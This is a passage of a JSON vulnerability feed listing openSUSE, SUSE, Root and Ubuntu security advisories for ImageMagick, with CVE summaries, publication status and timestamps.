update","status":"published","published":"2025-10-19T00:00:00Z","modified":"2025-10-19T21:32:17.338419Z","updated_at":"2026-11-02T15:46:12.7027Z"},{"id":"openSUSE-SU-2025:15650-1","title":"ImageMagick-7.1.2.7-1.1 on GA media","description":"These are all security issues fixed in the ImageMagick-7.1.2.7-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-10-21T00:00:00Z","modified":"2026-03-23T04:54:02.956258Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"openSUSE-SU-2025:20162-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62594: unsigned underflow and division-by-zero can lead to OOB pointer arithmetic and process crash\n  (bsc#1252749).\n- CVE-2025-57807: BlobStream Forward-Seek Under-Allocation (bsc#1249362).\n- CVE-2025-62171: incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n- CVE-2025-55298: format string bug vulnerability can lead to heap overflow (bsc#1248780).\n- CVE-2025-57803: 32-bit integer overflow can lead to heap out-of-bounds (OOB) write (bsc#1248784).\n- CVE-2025-55212: division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n","status":"published","published":"2025-12-15T09:55:25Z","modified":"2026-03-23T04:54:19.218226Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"ROOT-OS-DEBIAN-12-CVE-2025-62171","title":"CVE-2025-62171 in rootio-imagemagick - Patched by Root","description":"Root has patched CVE-2025-62171 in the rootio-imagemagick package for Root:Debian:12. Multiple fixed versions available.","status":"withdrawn","published":"2025-11-03T06:36:12Z","modified":"2026-04-29T14:00:42.717096Z","updated_at":"2026-11-02T15:53:31.514195Z"},{"id":"ROOT-OS-DEBIAN-13-CVE-2025-62171","title":"CVE-2025-62171 in rootio-imagemagick - Patched by Root","description":"Root has patched CVE-2025-62171 in the rootio-imagemagick package for Root:Debian:13. Multiple fixed versions available.","status":"withdrawn","published":"2025-10-31T05:39:53Z","modified":"2026-05-25T14:01:09.582799736Z","updated_at":"2026-11-02T15:53:33.153539Z"},{"id":"SUSE-SU-2025:21211-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62594: unsigned underflow and division-by-zero can lead to OOB pointer arithmetic and process crash\n  (bsc#1252749).\n- CVE-2025-57807: BlobStream Forward-Seek Under-Allocation (bsc#1249362).\n- CVE-2025-62171: incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n- CVE-2025-55298: format string bug vulnerability can lead to heap overflow (bsc#1248780).\n- CVE-2025-57803: 32-bit integer overflow can lead to heap out-of-bounds (OOB) write (bsc#1248784).\n- CVE-2025-55212: division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n","status":"published","published":"2025-12-15T09:56:13Z","modified":"2026-03-23T04:51:15.986283Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"SUSE-SU-2025:3796-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n","status":"published","published":"2025-10-27T07:58:00Z","modified":"2026-02-04T04:32:57.713393Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"SUSE-SU-2025:3844-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n","status":"published","published":"2025-10-28T16:41:56Z","modified":"2026-03-23T04:51:19.435484Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"SUSE-SU-2025:3867-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n","status":"published","published":"2025-10-30T13:41:13Z","modified":"2026-03-23T04:49:20.268542Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"SUSE-SU-2025:3918-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62171: Fixed incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n","status":"published","published":"2025-11-03T10:31:34Z","modified":"2025-11-04T16:19:14.616203Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"USN-7876-1","title":"imagemagick vulnerabilities","description":"It was discovered that ImageMagick did not properly handle memory when\nencoding BMP images. An attacker could possibly use this issue to cause\nImageMagick to crash, resulting in a denial of service, or possibly\nexecute arbitrary code. This issue exists due to an incomplete fix for\nCVE-2025-57803.","status":"published","published":"2025-11-20T17:46:10Z","modified":"2026-06-25T13:32:31.317189338Z","updated_at":"2026-11-02T16:58:21.91885Z"}]}}